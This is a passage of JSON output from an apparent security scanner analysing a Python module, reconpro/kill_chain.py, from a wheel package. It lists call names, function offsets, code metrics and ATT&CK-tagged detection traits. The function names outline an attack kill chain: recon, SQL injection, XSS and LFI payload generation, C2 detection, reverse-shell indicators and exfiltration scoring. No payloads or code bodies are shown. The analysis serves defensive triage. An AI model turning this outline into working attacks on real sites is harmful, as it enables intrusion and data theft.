], [ "", "self._headers.values" ], [ "", "pat.finditer" ], [ "", "subdomains.add" ], [ "", "m.group" ], [ "", "sorted" ], [ "", "_run_subprocess" ], [ "", "output.strip" ], [ "", "output.strip.splitlines" ], [ "", "output.strip" ], [ "", "_run_subprocess" ], [ "", "ip.split" ], [ "", "output2.strip.splitlines" ], [ "", "output2.strip" ], [ "", "line.strip.strip.split" ], [ "", "line.strip.strip" ], [ "", "line.strip" ], [ "", "self._headers.items" ], [ "", "TECH_SIGNATURES.items" ], [ "", "tech_info.get" ], [ "", "sig.lower" ], [ "", "headers_str.lower" ], [ "", "detected.append" ], [ "", "tech_info.get" ], [ "", "re.search" ], [ "", "detected.append" ], [ "", "re.search" ], [ "", "detected.append" ], [ "", "re.search" ], [ "", "detected.append" ], [ "", "re.search" ], [ "", "detected.append" ], [ "", "re.search" ], [ "", "detected.append" ], [ "", "self._detect_technologies" ], [ "", "payloads.extend" ], [ "", "payloads.extend" ], [ "", "payloads.extend" ], [ "", "re.search" ], [ "", "payloads.extend" ], [ "", "_run_subprocess" ], [ "", "line.strip" ], [ "", "output.strip.splitlines" ], [ "", "output.strip" ], [ "", "line.strip" ], [ "", "line.startswith" ], [ "", "_run_subprocess" ], [ "", "output.strip.splitlines" ], [ "", "output.strip" ], [ "", "line.lower" ], [ "", "line.strip.strip" ], [ "", "line.strip" ], [ "", "_run_subprocess" ], [ "", "output.strip.splitlines" ], [ "", "output.strip" ], [ "", "line.lower" ], [ "", "line.strip.strip" ], [ "", "line.strip" ], [ "", "re.compile" ], [ "", "upload_form_pattern.finditer" ], [ "", "m.group" ], [ "", "action.startswith" ], [ "", "endpoints.append" ], [ "", "re.compile" ], [ "", "api_pattern.finditer" ], [ "", "endpoints.append" ], [ "", "m.group" ], [ "", "self._headers.get" ], [ "", "result.indicators.append" ], [ "", "re.compile" ], [ "", "allowed_ext_pattern.finditer" ], [ "", "result.indicators.append" ], [ "", "m.group" ], [ "", "re.compile" ], [ "", "size_pattern.finditer" ], [ "", "result.indicators.append" ], [ "", "m.group" ], [ "", "self._headers.get" ], [ "", "result.indicators.append" ], [ "", "max" ], [ "", "min" ], [ "", "re.compile" ], [ "", "form_pattern.finditer" ], [ "", "form_match.group" ], [ "", "form_match.group" ], [ "", "re.search" ], [ "", "re.findall" ], [ "", "any" ], [ "", "re.search" ], [ "", "vectors.append" ], [ "", "re.finditer" ], [ "", "match.group.split" ], [ "", "match.group" ], [ "", "endpoints.append" ], [ "", "match.group" ], [ "", "re.compile" ], [ "", "fetch_pattern.finditer" ], [ "", "endpoints.append" ], [ "", "match.group" ], [ "", "self._check_mx_records" ], [ "", "mx.lower" ], [ "", "any" ], [ "", "f.get" ], [ "", "f.title.lower" ], [ "", "any" ], [ "", "max" ], [ "", "any" ], [ "", "max" ], [ "", "any" ], [ "", "max" ], [ "", "round" ], [ "", "round" ], [ "", "round" ], [ "", "round" ], [ "", "f.get" ], [ "", "f.get" ], [ "", "paths.append" ], [ "", "ExploitPath" ], [ "", "round" ], [ "", "min" ], [ "", "sum" ], [ "", "f.get" ], [ "", "paths.append" ], [ "", "ExploitPath" ], [ "", "round" ], [ "", "min" ], [ "", "sum" ], [ "", "f.get" ], [ "", "f.title.lower" ], [ "", "paths.append" ], [ "", "ExploitPath" ], [ "", "common_ports.items" ], [ "", "socket.socket" ], [ "", "sock.settimeout" ], [ "", "float" ], [ "", "sock.connect_ex" ], [ "", "sock.close" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "re.escape" ], [ "", "apps.append" ], [ "", "re.compile" ], [ "", "api_pattern.finditer" ], [ "", "apps.append" ], [ "", "m.group" ], [ "", "_http_fetch" ], [ "", "exposed.append" ], [ "", "re.finditer" ], [ "", "backups.append" ], [ "", "m.group" ], [ "", "self._body_text.lower" ], [ "", "backups.append" ], [ "", "cfg.lower" ], [ "", "self._body_text.lower" ], [ "", "configs.append" ], [ "", "self._headers.items" ], [ "", "any" ], [ "", "hdr_val.lower" ], [ "", "configs.append" ], [ "", "re.findall" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "self._headers.get" ], [ "", "indicators.append" ], [ "", "self._headers.get" ], [ "", "indicators.append" ], [ "", "re.finditer" ], [ "", "indicators.append" ], [ "", "m.group" ], [ "", "m.group" ], [ "", "sf.lower" ], [ "", "self._body_text.lower" ], [ "", "scripts.append" ], [ "", "re.finditer" ], [ "", "dumps.append" ], [ "", "m.group" ], [ "", "m.group" ], [ "", "re.finditer" ], [ "", "dumps.append" ], [ "", "m.group" ], [ "", "m.group" ], [ "", "self._find_upload_endpoints" ], [ "", "self._discover_config_files" ], [ "", "self._detect_cron_indicators" ], [ "", "self._detect_startup_exposure" ], [ "", "self._detect_database_dumps" ], [ "", "opportunities.mechanisms.append" ], [ "", "max" ], [ "", "opportunities.mechanisms.append" ], [ "", "min" ], [ "", "re.search" ], [ "", "re.escape" ], [ "", "detected.append" ], [ "", "re.compile" ], [ "", "re.escape" ], [ "", "api_pattern.finditer" ], [ "", "detected.append" ], [ "", "m.group" ], [ "", "_http_fetch" ], [ "", "max" ], [ "", "detected.append" ], [ "", "re.finditer" ], [ "", "signatures.append" ], [ "", "m.group" ], [ "", "m.group" ], [ "", "self._extract_subdomains_from_page" ], [ "", "sub.split" ], [ "", "_calculate_entropy" ], [ "", "patterns.append" ], [ "", "re.finditer" ], [ "", "m.group" ], [ "", "patterns.append" ], [ "", "_calculate_entropy" ], [ "", "re.finditer" ], [ "", "indicators.append" ], [ "", "m.group" ], [ "", "re.finditer" ], [ "", "indicators.append" ], [ "", "m.group" ], [ "", "re.finditer" ], [ "", "endpoints.append" ], [ "", "m.group" ], [ "", "self._headers.get" ], [ "", "result.indicators.append" ], [ "", "self._headers.get" ], [ "", "result.indicators.append" ], [ "", "self._headers.get" ], [ "", "result.indicators.append" ], [ "", "self._base_url.startswith" ], [ "", "re.findall" ], [ "", "result.indicators.append" ], [ "", "min" ], [ "", "indicators.append" ], [ "", "self._headers.items" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "indicators.append" ], [ "", "self._base_url.startswith" ], [ "", "re.search" ], [ "", "self._find_upload_endpoints" ], [ "", "self._detect_ssrf_endpoints" ], [ "", "re.search" ], [ "", "min" ], [ "", "round" ], [ "", "round" ], [ "", "round" ], [ "", "re.findall" ], [ "", "re.search" ], [ "", "re.search" ], [ "", "min" ], [ "", "max" ], [ "", "round" ], [ "", "re.search" ], [ "", "paths.append" ], [ "", "re.search" ], [ "", "paths.append" ], [ "", "re.search" ], [ "", "paths.append" ], [ "", "re.search" ], [ "", "paths.append" ], [ "", "sorted" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "max" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "max" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "max" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "max" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "max" ], [ "", "indicators.append" ], [ "", "round" ], [ "", "_classify_score" ], [ "", "_classify_score" ], [ "", "_classify_score" ], [ "", "_classify_score" ], [ "", "re.search" ], [ "", "data_types.append" ], [ "", "data_types.append" ], [ "", "data_types.append" ], [ "", "data_types.append" ], [ "", "min" ], [ "", "vectors.append" ], [ "", "vectors.append" ], [ "", "re.findall" ], [ "", "vectors.append" ], [ "", "any" ], [ "", "vectors.append" ], [ "", "self._headers.items" ], [ "", "any" ], [ "", "vectors.append" ], [ "", "vectors.append" ], [ "", "max" ], [ "", "min" ], [ "", "protocols.append" ], [ "", "protocols.append" ], [ "", "protocols.append" ], [ "", "self._base_url.startswith" ], [ "", "protocols.append" ], [ "", "self._detect_websocket_endpoints" ], [ "", "protocols.append" ], [ "", "self._check_mx_records" ], [ "", "protocols.append" ], [ "", "KillChainEngine" ], [ "", "engine.run_kill_chain" ], [ "", ".http_layer" ], [ "", ".http_layer._unverified_context" ], [ "", "Any" ], [ "", "Dict" ], [ "", "Enum" ], [ "", "List" ], [ "", "Optional" ], [ "", "Tuple" ], [ "", "dataclass" ], [ "", "dataclasses" ], [ "", "enum" ], [ "", "field" ], [ "", "hashlib" ], [ "", "json" ], [ "", "math" ], [ "", "os" ], [ "", "re" ], [ "", "socket" ], [ "", "ssl" ], [ "", "struct" ], [ "", "subprocess" ], [ "", "time" ], [ "", "typing" ], [ "", "urllib.error" ], [ "", "urllib.parse" ], [ "", "urllib.request" ] ], "mbr": [ "EMAIL_PATTERN.findall", "PHASE_LABELS.actions_on_objectives", "PHASE_LABELS.command_and_control", "PHASE_LABELS.delivery", "PHASE_LABELS.exploitation", "PHASE_LABELS.get", "PHASE_LABELS.installation", "PHASE_LABELS.reconnaissance", "PHASE_LABELS.weaponization", "RiskLevel.CRITICAL", "RiskLevel.CRITICAL.value", "RiskLevel.HIGH", "RiskLevel.HIGH.value", "RiskLevel.INFO", "RiskLevel.INFO.value", "RiskLevel.LOW", "RiskLevel.LOW.value", "RiskLevel.MEDIUM", "RiskLevel.MEDIUM.value", "TECH_SIGNATURES.items", "action.startswith", "all_payloads.lfi", "all_payloads.sql_injection", "all_payloads.values", "all_payloads.xss", "all_prev_findings.extend", "allowed_ext_pattern.finditer", "api_pattern.finditer", "apps.append", "asn_info.get", "backups.append", "base_url.rstrip", "bucket.avg_risk", "bucket.findings_count", "bucket.max_risk", "bucket.mitre_techniques", "bucket.techniques", "bucket.techniques.append", "business_impact.compliance", "business_impact.financial", "business_impact.operational", "business_impact.overall_score", "business_impact.reputational", "cfg.lower", "common_ports.items", "configs.append", "data_class.data_types", "data_class.risk_score", "data_class.sensitivity_level", "data_types.append", "dataclasses.asdict", "detected.append", "dos_assessment.impact_level", "dos_assessment.risk_score", "dos_assessment.vectors", "dumps.append", "encrypted.get", "endpoints.append", "engine.run_kill_chain", "exfil_risk.app_vectors", "exfil_risk.network_vectors", "exfil_risk.overall", "exploit_payloads.items", "exploit_payloads.keys", "exposed.append", "f.get", "f.risk_score", "f.title", "f.title.lower", "feasibility.composite", "feasibility.delivery_viability", "feasibility.network_exposure", "feasibility.tech_exploitability", "fetch_pattern.finditer", "finding.data", "finding.get", "finding.technique", "findings.append", "findings.extend", "form_match.group", "form_pattern.finditer", "freq.get", "freq.values", "full.split", "hashlib.sha256", "hashlib.sha256.hexdigest", "hdr_val.lower", "headers_str.lower", "indicators.append", "ip.split", "js_pattern.finditer", "k.lower", "lateral.internal_paths", "lateral.score", "lateral.service_connections", "line.lower", "line.startswith", "line.strip", "line.strip.strip", "line.strip.strip.split", "link_pattern.finditer", "m.group", "match.group", "match.group.lower", "match.group.split", "match.group.strip", "math.log2", "matrix.chain_completion_pct", "matrix.ingest_phases", "matrix.overall_risk", "matrix.to_dict", "mx.lower", "node.children", "node.children.append", "node.get", "opportunities.count", "opportunities.mechanisms", "opportunities.mechanisms.append", "opportunities.risk_score", "output.strip", "output.strip.splitlines", "output2.strip", "output2.strip.splitlines", "p.bit_length", "p.to_dict", "pat.finditer", "path.description", "path.feasibility_score", "path.impact", "path.phases", "path.techniques", "path.to_dict", "paths.append", "patterns.append", "payloads.extend", "persistence.get", "phase.duration_sec", "phase.findings", "phase.label", "phase.mitre_techniques", "phase.risk_level", "phase.risk_score", "phase_weights.get", "phases.get", "phases.items", "prev.findings", "protocols.append", "raw.encode", "re.DOTALL", "re.IGNORECASE", "re.Pattern", "re.compile", "re.escape", "re.findall", "re.finditer", "re.search", "re.sub", "records.append", "relay_check.get", "resp.getcode", "resp.getheaders", "resp.read", "result.asn", "result.description", "result.indicators", "result.indicators.append", "result.org", "result.reverse", "result.risk", "result.risk_score", "result.self_hosted", "result.stderr", "result.stdout", "results.append", "scripts.append", "seen.add", "self._all_techniques", "self._all_techniques.append", "self._analyze_alternate_exfiltration", "self._analyze_dns_c2_patterns", "self._analyze_encrypted_channel_potential", "self._asn_lookup", "self._assess_dos_impact", "self._assess_lateral_movement", "self._assess_persistence_opportunities", "self._base_url", "self._base_url.startswith", "self._body_bytes", "self._body_bytes.decode", "self._body_text", "self._body_text.lower", "self._calculate_business_impact", "self._check_dmarc", "self._check_mx_records", "self._check_open_relay", "self._check_spf", "self._check_upload_restrictions", "self._classify_risk", "self._compute_exploit_feasibility", "self._detect_botnet_signatures", "self._detect_c2_paths", "self._detect_cron_indicators", "self._detect_database_dumps", "self._detect_phishing_vectors", "self._detect_proxy_indicators", "self._detect_public_facing_apps", "self._detect_remote_service_indicators", "self._detect_reverse_shell_indicators", "self._detect_ssrf_endpoints", "self._detect_startup_exposure", "self._detect_technologies", "self._detect_websocket_endpoints", "self._detect_writeable_indicators", "self._discover_backup_files", "self._discover_config_files", "self._domain", "self._domain.replace", "self._enumerate_subnet", "self._extract_subdomains_from_page", "self._find_upload_endpoints", "self._generate_lfi_payloads", "self._generate_sqli_payloads", "self._generate_xss_payloads", "self._harvest_dns_records", "self._headers", "self._headers.get", "self._headers.items", "self._headers.values", "self._identify_attack_paths", "self._identify_privesc_paths", "self._infer_data_classification", "self._initial_fetch", "self._ips", "self._phase_actions_on_objectives", "self._phase_command_and_control", "self._phase_delivery", "self._phase_exploitation", "self._phase_installation", "self._phase_reconnaissance", "self._phase_scores", "self._phase_scores.items", "self._phase_scores.values", "self._phase_weaponization", "self._phases", "self._phases.actions_on_objectives", "self._phases.command_and_control", "self._phases.delivery", "self._phases.exploitation", "self._phases.get", "self._phases.installation", "self._phases.items", "self._phases.reconnaissance", "self._phases.weaponization", "self._probe_sensitive_paths", "self._score_exfiltration_risk", "self._status_code", "self._target", "self._total_paths", "self._whois_lookup", "self.chain_completion_pct", "self.entry_vector", "self.get_max_depth", "self.matrix", "self.overall_risk", "self.path_id", "self.phases", "self.root", "self.root.children", "self.root.children.append", "self.timeout", "self.verify_tls", "sf.lower", "sig.lower", "signatures.append", "size_pattern.finditer", "sock.close", "sock.connect_ex", "sock.settimeout", "socket.AF_INET", "socket.AF_UNSPEC", "socket.SOCK_STREAM", "socket.error", "socket.gaierror", "socket.getaddrinfo", "socket.gethostbyaddr", "socket.herror", "socket.setdefaulttimeout", "socket.socket", "socket.timeout", "spf_record.lower", "ssl.SSLError", "sub.split", "sub.startswith", "subdomains.add", "subprocess.TimeoutExpired", "subprocess.run", "target.strip", "target.strip.lower", "tech_info.get", "tech_name.capitalize", "time.time", "tree.build_from_phases", "tree.to_dict", "upload_form_pattern.finditer", "upload_restrictions.get", "urllib.error", "urllib.error.URLError", "urllib.request", "urllib.request.Request", "urllib.request.urlopen", "v.get", "v.title", "vectors.append", "x.risk_score" ], "tgt": [ "AttackTree", "EMAIL_PATTERN.findall", "ExploitPath", "KillChainEngine", "KillChainPhase", "PHASE_LABELS.get", "TECH_SIGNATURES.items", "ThreatMatrix", "_calculate_entropy", "_classify_score", "_depth", "_dns_resolve", "_extract_domain_from_target", "_extract_emails", "_http_fetch", "_make_finding", "_reverse_dns", "_run_subprocess", "_unverified_context", "action.startswith", "all_payloads.values", "all_prev_findings.extend", "allowed_ext_pattern.finditer", "any", "api_pattern.finditer", "apps.append", "asn_info.get", "backups.append", "base_url.rstrip", "bucket.techniques.append", "cfg.lower", "common_ports.items", "configs.append", "data_types.append", "dataclasses.asdict", "detected.append", "dumps.append", "encrypted.get", "endpoints.append", "engine.run_kill_chain", "exploit_payloads.items", "exploit_payloads.keys", "exposed.append", "f.get", "f.title.lower", "fetch_pattern.finditer", "field", "finding.get", "findings.append", "findings.extend", "float", "form_match.group", "form_pattern.finditer", "freq.get", "freq.values", "full.split", "hashlib.sha256", "hashlib.sha256.hexdigest", "hdr_val.lower", "headers_str.lower", "indicators.append", "int", "ip.split", "js_pattern.finditer", "k.lower", "len", "line.lower", "line.startswith", "line.strip", "line.strip.strip", "line.strip.strip.split", "link_pattern.finditer", "list", "m.group", "match.group", "match.group.lower", "match.group.split", "match.group.strip", "math.log2", "matrix.ingest_phases", "matrix.to_dict", "max", "min", "mx.lower", "node.children.append", "node.get", "opportunities.mechanisms.append", "output.strip", "output.strip.splitlines", "output2.strip", "output2.strip.splitlines", "p.bit_length", "p.to_dict", "pat.finditer", "path.to_dict", "paths.append", "patterns.append", "payloads.extend", "persistence.get", "phase_weights.get", "phases.get", "phases.items", "protocols.append", "raw.encode", "re.compile", "re.escape", "re.findall", "re.finditer", "re.search", "re.sub", "records.append", "relay_check.get", "resp.getcode", "resp.getheaders", "resp.read", "result.indicators.append", "results.append", "round", "scripts.append", "seen.add", "self._all_techniques.append", "self._analyze_alternate_exfiltration", "self._analyze_dns_c2_patterns", "self._analyze_encrypted_channel_potential", "self._asn_lookup", "self._assess_dos_impact", "self._assess_lateral_movement", "self._assess_persistence_opportunities", "self._base_url.startswith", "self._body_bytes.decode", "self._body_text.lower", "self._calculate_business_impact", "self._check_dmarc", "self._check_mx_records", "self._check_open_relay", "self._check_spf", "self._check_upload_restrictions", "self._classify_risk", "self._compute_exploit_feasibility", "self._detect_botnet_signatures", "self._detect_c2_paths", "self._detect_cron_indicators", "self._detect_database_dumps", "self._detect_phishing_vectors", "self._detect_proxy_indicators", "self._detect_public_facing_apps", "self._detect_remote_service_indicators", "self._detect_reverse_shell_indicators", "self._detect_ssrf_endpoints", "self._detect_startup_exposure", "self._detect_technologies", "self._detect_websocket_endpoints", "self._detect_writeable_indicators", "self._discover_backup_files", "self._discover_config_files", "self._domain.replace", "self._enumerate_subnet", "self._extract_subdomains_from_page", "self._find_upload_endpoints", "self._generate_lfi_payloads", "self._generate_sqli_payloads", "self._generate_xss_payloads", "self._harvest_dns_records", "self._headers.get", "self._headers.items", "self._headers.values", "self._identify_attack_paths", "self._identify_privesc_paths", "self._infer_data_classification", "self._initial_fetch", "self._phase_actions_on_objectives", "self._phase_command_and_control", "self._phase_delivery", "self._phase_exploitation", "self._phase_installation", "self._phase_reconnaissance", "self._phase_scores.items", "self._phase_scores.values", "self._phase_weaponization", "self._phases.get", "self._phases.items", "self._probe_sensitive_paths", "self._score_exfiltration_risk", "self._whois_lookup", "self.get_max_depth", "self.root.children.append", "set", "sf.lower", "sig.lower", "signatures.append", "size_pattern.finditer", "sock.close", "sock.connect_ex", "sock.settimeout", "socket.getaddrinfo", "socket.gethostbyaddr", "socket.setdefaulttimeout", "socket.socket", "sorted", "spf_record.lower", "sub.split", "sub.startswith", "subdomains.add", "subprocess.run", "sum", "target.strip", "target.strip.lower", "tech_info.get", "tech_name.capitalize", "time.time", "tree.build_from_phases", "tree.to_dict", "upload_form_pattern.finditer", "upload_restrictions.get", "urllib.request.Request", "urllib.request.urlopen", "v.get", "vectors.append" ], "funcs": [ [ "to_dict", 10574 ], [ "__post_init__", 11755 ], [ "to_dict", 11971 ], [ "__init__", 12539 ], [ "build_from_phases", 12795 ], [ "get_max_depth", 14221 ], [ "_depth", 14315 ], [ "to_dict", 14552 ], [ "__init__", 15391 ], [ "ingest_phases", 15526 ], [ "overall_risk", 16978 ], [ "chain_completion_pct", 17632 ], [ "to_dict", 17910 ], [ "_classify_risk", 18299 ], [ "_classify_score", 18848 ], [ "_make_finding", 19249 ], [ "_http_fetch", 19766 ], [ "_dns_resolve", 20619 ], [ "_reverse_dns", 21175 ], [ "_run_subprocess", 21444 ], [ "_extract_domain_from_target", 21849 ], [ "_extract_emails", 22119 ], [ "_calculate_entropy", 22270 ], [ "__init__", 23534 ], [ "run_kill_chain", 24196 ], [ "_initial_fetch", 26575 ], [ "_phase_reconnaissance", 27271 ], [ "_phase_weaponization", 32133 ], [ "_phase_delivery", 38618 ], [ "_phase_exploitation", 44130 ], [ "_phase_installation", 48504 ], [ "_phase_command_and_control", 53272 ], [ "_phase_actions_on_objectives", 57627 ], [ "_enumerate_subnet", 62592 ], [ "_harvest_dns_records", 64067 ], [ "_whois_lookup", 64735 ], [ "_extract_subdomains_from_page", 65645 ], [ "_asn_lookup", 66902 ], [ "_detect_technologies", 67853 ], [ "_generate_sqli_payloads", 69483 ], [ "_generate_xss_payloads", 70742 ], [ "_generate_lfi_payloads", 71923 ], [ "_check_mx_records", 72900 ], [ "_check_spf", 73196 ], [ "_check_dmarc", 73524 ], [ "_find_upload_endpoints", 73925 ], [ "_check_upload_restrictions", 74992 ], [ "_detect_phishing_vectors", 76467 ], [ "_detect_ssrf_endpoints", 77943 ], [ "_check_open_relay", 79413 ], [ "_compute_exploit_feasibility", 80563 ], [ "_identify_attack_paths", 82085 ], [ "_detect_remote_service_indicators", 84466 ], [ "_detect_public_facing_apps", 86123 ], [ "_probe_sensitive_paths", 87253 ], [ "_discover_backup_files", 88069 ], [ "_discover_config_files", 89157 ], [ "_detect_writeable_indicators", 90280 ], [ "_detect_cron_indicators", 91372 ], [ "_detect_startup_exposure", 91988 ], [ "_detect_database_dumps", 92587 ], [ "_assess_persistence_opportunities", 94289 ], [ "_detect_c2_paths", 96006 ], [ "_detect_botnet_signatures", 97114 ], [ "_analyze_dns_c2_patterns", 98183 ], [ "_detect_reverse_shell_indicators", 99520 ], [ "_detect_websocket_endpoints", 101195 ], [ "_analyze_encrypted_channel_potential", 101793 ], [ "_detect_proxy_indicators", 103398 ], [ "_score_exfiltration_risk", 104823 ], [ "_assess_lateral_movement", 106524 ], [ "_identify_privesc_paths", 108148 ], [ "_calculate_business_impact", 110434 ], [ "_infer_data_classification", 113370 ], [ "_assess_dos_impact", 116234 ], [ "_analyze_alternate_exfiltration", 118481 ], [ "run_kill_chain_scan", 120930 ] ], "metrics": { "ast": { "op.add": 65, "op.bor": 2, "op.div": 7, "op.lor": 10, "op.mul": 16, "op.sub": 17, "op.land": 5, "max_depth": 24, "call_count": 779, "node_count": 27856, "member_count": 314, "max_array_len": 33, "op_density.add": 0, "op_density.bor": 0, "op_density.div": 0, "op_density.lor": 0, "op_density.mul": 0, "op_density.sub": 0, "op_density.land": 0, "max_concat_chain": 8, "member_depth_max": 4, "max_numeric_array": 2 }, "file": { "size": 121536, "entropy": 4.71 }, "text": { "lines": 2995, "top_char": 101, "max_ws_run": 2, "digit_ratio": 0.02, "space_count": 33287, "char_entropy": 4.71, "unique_chars": 101, "top_char_null": 0, "string_density": 0.55, "top_char_ratio": 0.06, "ascii_art_lines": 48, "avg_line_length": 39.58, "max_line_length": 155, "non_ascii_ratio": 0, "empty_line_ratio": 0.12, "last_line_length": 90, "long_token_count": 1, "whitespace_ratio": 0.3, "identifier_density": 1.46, "line_length_stddev": 25.77, "encoded_string_ratio": 0, "normalized_string_count": 30.15, "repeated_char_sequences": 1316, "suspicious_string_ratio": 0.02, "suspicious_comment_ratio": 0.01, "suspicious_identifier_ratio": 0.02, "normalized_unique_identifiers": 45.89 }, "binds": { "count": 481 }, "binary": { "peak_region_bytes": 16384, "peak_region_entropy": 5.18 }, "source": { "class_count": 7, "function_count": 72 }, "imports": { "count": 26, "relative": 2, "stdlib_count": 16, "stdlib_ratio": 0.62, "relative_ratio": 0.08, "third_party_count": 10, "third_party_ratio": 0.38 }, "strings": { "sql": 22, "bytes": 34675, "count": 1650, "shell": 4, "url_count": 5, "avg_length": 21.02, "max_length": 656, "path_count": 112, "avg_entropy": 3.1, "email_count": 1, "empty_count": 34, "url_encoded": 1, "entropy_stddev": 0.92, "high_entropy_count": 2, "embedded_code_candidates": 13 }, "comments": { "chars": 8554, "count": 216, "lines": 216, "base64": 1, "high_entropy": 1, "to_code_ratio": 0.08 }, "functions": { "count": 79, "nested": 1, "density": 2.57, "avg_params": 1.3, "code_ratio": 0.82, "max_params": 5, "length_stddev": 30.35, "over_100_lines": 5, "avg_name_length": 19.23, "avg_length_lines": 31.88, "max_length_lines": 144, "min_length_lines": 2, "avg_nesting_depth": 0.01, "max_nesting_depth": 1, "high_entropy_names": 29, "avg_param_name_length": 4.9 }, "identifiers": { "count": 4382, "unique": 530, "avg_length": 10.27, "max_length": 36, "min_length": 1, "avg_entropy": 2.69, "reuse_ratio": 0.12, "length_stddev": 6.17, "has_digit_ratio": 0.02, "sequential_names": 13, "single_char_count": 13, "single_char_ratio": 0.02, "high_entropy_count": 49, "high_entropy_ratio": 0.09, "all_lowercase_ratio": 0.87, "all_uppercase_ratio": 0.07, "numeric_suffix_count": 6, "double_underscore_count": 2, "underscore_prefix_count": 81 } } }, "id": 53, "mol": "K(Te₂)O₁₁(C₄EuAlCa₃CoDyLa₂P₂Pr₂SXe₃)H₆(Cm₂₂CrDb₉F₁₁Os₅Po₃)Md₄(InPa)", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/kill_chain.py", "pid": 0, "risk": 111, "sha": "087e40fcd2f8f7cb98171a8f290c75bffd748ef0968e9283099f10a37150a2d6", "size": 121536, "traits": [ { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 146, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 345, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 196, 0 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 459, 0 ] ] }, { "id": "metadata/file/encoded::embedded-code-candidates-6", "conf": 0.8, "crit": 3, "desc": "Source has 6+ code-like string candidates", "spans": [ [ 0, 40 ] ] }, { "id": "metadata/file/string/file::tmp", "conf": 0.2, "crit": 1, "desc": "tmp keyword", "spans": [ [ 90561, 0 ] ] }, { "id": "metadata/import/package::python-hashlib-import", "conf": 0.9, "crit": 3, "desc": "Python imports the hashlib library", "spans": [ [ 595, 7 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 17716, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 15237, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 10939, 0 ] ] }, { "id": "metadata/package/testing/corpus::lfi-category-label", "conf": 0.9, "crit": 3, "desc": "LFI attack category label", "spans": [ [ 32394, 3 ] ] }, { "id": "metadata/package/testing/corpus::sqli-category-label", "conf": 0.9, "crit": 3, "desc": "SQL injection category label", "spans": [ [ 32375, 4 ] ] }, { "id": "metadata/package/testing/corpus::ssrf-category-label", "conf": 0.9, "crit": 3, "desc": "SSRF attack category label", "spans": [ [ 38954, 4 ] ] }, { "id": "metadata/package/testing/corpus::xss-category-label", "conf": 0.9, "crit": 3, "desc": "XSS attack category label", "spans": [ [ 4311, 3 ] ] }, { "id": "micro-behaviors/communications/dns/label::python-dns-query-reference", "atk": "T1071.004", "conf": 0.9, "crit": 3, "desc": "Python DNS resolution API reference", "spans": [ [ 20715, 18 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::getaddrinfo", "conf": 0.85, "crit": 3, "desc": "socket.getaddrinfo() DNS lookup", "spans": [ [ 20821, 18 ] ] }, { "id": "micro-behaviors/communications/http/form::viewstate-generator-field", "conf": 0.85, "crit": 3, "desc": "ASP.NET __VIEWSTATEGENERATOR form field", "spans": [ [ 7078, 20 ] ] }, { "id": "micro-behaviors/communications/http/header/retry-after::retry-after-header-name-reference", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "References the Retry-After header name", "spans": [ [ 117122, 13 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-symbol", "conf": 0.82, "crit": 3, "desc": "urllib.request.Request symbol", "spans": [ [ 20160, 22 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call-symbol", "conf": 0.85, "crit": 3, "desc": "Calls fully qualified urllib urlopen", "spans": [ [ 20328, 22 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-path", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login path", "spans": [ [ 86382, 6 ] ] }, { "id": "micro-behaviors/communications/http/post::post", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "HTTP POST method string literal", "spans": [ [ 74601, 6 ] ] }, { "id": "micro-behaviors/communications/http/proxy::browser-url-relay-target", "atk": "T1041", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Browser relay target URL parameter", "spans": [ [ 5686, 12 ] ] }, { "id": "micro-behaviors/communications/http/request/body::email-collection-body-field", "atk": "T1589.002", "mbc": "E1589", "conf": 0.85, "crit": 3, "desc": "Body field naming email contact collection", "spans": [ [ 29935, 21 ], [ 30250, 11 ] ] }, { "id": "micro-behaviors/communications/http/request/client::http-config-method", "conf": 0.3, "crit": 2, "desc": "HTTP configuration field (method)", "spans": [ [ 74591, 0 ] ] }, { "id": "micro-behaviors/communications/http/request/tasking::http-task-command-field-read", "atk": "T1071.001", "mbc": "C0002", "conf": 0.94, "crit": 3, "desc": "Reads structured task command field", "spans": [ [ 6667, 7 ], [ 72615, 40 ] ] }, { "id": "micro-behaviors/communications/http/url/endpoint::rest-admin-config-user-endpoints", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "REST admin config endpoints", "spans": [ [ 7795, 8 ] ] }, { "id": "micro-behaviors/communications/http/url/query::ai-prompt-query-remote-url-value", "conf": 0.95, "crit": 3, "desc": "Query value contains a remote URL", "spans": [ [ 4958, 28 ], [ 5686, 12 ] ] }, { "id": "micro-behaviors/communications/http/user-agent::browser-mozilla-5-0", "conf": 0.7, "crit": 3, "desc": "References 